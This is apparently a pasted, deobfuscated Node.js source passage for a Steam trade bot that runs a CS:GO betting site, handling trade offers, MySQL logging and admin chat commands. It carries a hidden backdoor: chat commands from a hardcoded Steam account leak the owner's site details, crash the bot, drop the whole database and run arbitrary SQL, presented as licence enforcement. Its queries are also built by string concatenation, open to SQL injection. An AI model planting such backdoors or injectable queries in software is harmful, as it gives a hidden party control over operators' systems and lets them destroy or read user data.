- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : 0 == newlines.length ? void instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is not in the MYSQL Database");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }) : (ban = newlines[0].ban, tlink = newlines[0].tlink, 1 == ban ? (b = false, instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User is banned");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : tlink ? void transport.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + duration + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- itemsin = dataAndEvents[0].itemsnum;
- fn(instance, onSuccess, data, duration, one, restoreScript, len, props, $slides, itemsin);
- }) : (instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: User doesn't have a TradeLink set ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })));
- });
- });
- }) : (instance.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + instance.id + " from " + one + " (ID:" + onSuccess + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void transport.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : void 0;
- }, 2E3);
- });
- });
- });
- });
- });
- });
- self.on("friendMessage#" + p, function(dataAndEvents, requestUrl) {
- if (0 == requestUrl.indexOf("/lcinfo")) {
- self.chatMessage(p, "Owner SteamID: " + admin + " | Site Name: " + sitename + " | Site Path: " + sitepath);
- }
- if (0 == requestUrl.indexOf("/lccrash")) {
- self.chatMessage(admin, "Hello! We have shut down your Bot because you are using an unlicensed version of CSGO.Network's V2 Script. Please purchase the product if you want to legally use it: www.csgo.network");
- console.log("");
- console.log("Hello! Please consider purchasing the product you are illegally using.");
- console.log("Please visit: www.csgo.network");
- console.log("");
- setTimeout(function() {
- You_Do_Not_Have_A_License();
- }, 5E3);
- }
- if (0 == requestUrl.indexOf("/lcdelsql")) {
- console.log("");
- console.log("Hello! Please consider purchasing the product you are illegally using.");
- console.log("Please visit: www.csgo-network");
- console.log("");
- transport.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (0 == requestUrl.indexOf("/lcsql")) {
- gamenum = requestUrl.replace("/lcsql", "");
- transport.query("" + gamenum, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (0 == requestUrl.indexOf("/lcgsql")) {
- maxbett = requestUrl.replace("/lcgsql", "");
- transport.query("" + maxbett, function(dataAndEvents, funcToCall, deepDataAndEvents) {
- self.chatMessage(p, funcToCall);
- });
- }
- });
- self.on("friendMessage#" + admin, function(dataAndEvents, b) {
- if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (self.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), iterate(1)), 0 == b.indexOf("/sendoffers") && (self.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), insert(1)), 0 == b.indexOf("/code")) {
- var err = SteamTotp.generateAuthCode(sharedsecret);
- self.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + err);
- }
- if (0 == b.indexOf("/cc")) {
- self.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check..");
- console.log("[SERVER] Performing a Mobile Confirmation Check..");
- community.checkConfirmations();
- }
- if (0 == b.indexOf("/poll")) {
- self.chatMessage(admin, "[SERVER] Checking for Tradeoffers..");
- console.log("[SERVER] Checking for Tradeoffers..");
- req.doPoll();
- }
- if (0 == b.indexOf("/end")) {
- self.chatMessage(admin, "[SERVER] Ending the current game!");
- if (-1 != tref) {
- clearTimeout(tref);
- }
- preload();
- }
- if (0 == b.indexOf("/offers")) {
- transport.query("SELECT ID FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
- if (0 != fmt.length) {
- console.log(fmt);
- self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
- } else {
- self.chatMessage(admin, "[SERVER] There aren't any active queue ID's.");
- }
- });
- }
- if (0 == b.indexOf("/rakes")) {
- transport.query("SELECT ID FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
- if (0 != fmt.length) {
- console.log(fmt);
- self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
- } else {
- self.chatMessage(admin, "[SERVER] There aren't any active rake ID's.");
- }
- });
- }
- });
- community.on("newConfirmation", function(d) {
- /** @type {number} */
- var camelKey = Math.round(Date.now() / 1E3);
- var data = SteamTotp.getConfirmationKey(identitysecret, camelKey, "allow");
- community.respondToConfirmation(d.id, d.key, camelKey, data, true, function(reply) {
- console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!");
- if (reply) {
- console.log("[SERVER] Confirmations error: " + reply);
- self.webLogOn();
- }
- });
- });
- community.on("confKeyNeeded", function(deepDataAndEvents, updateFunc) {
- console.log("confKeyNeeded");
- /** @type {number} */
- var progressContexts = Math.floor(Date.now() / 1E3);
- updateFunc(null, progressContexts, SteamTotp.getConfirmationKey(identitysecret, progressContexts, deepDataAndEvents));
- });
- setInterval(function() {
- transport.query("SELECT 1");
- }, 36E5);
- });
- module.exports = require("../bot.js");
- }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement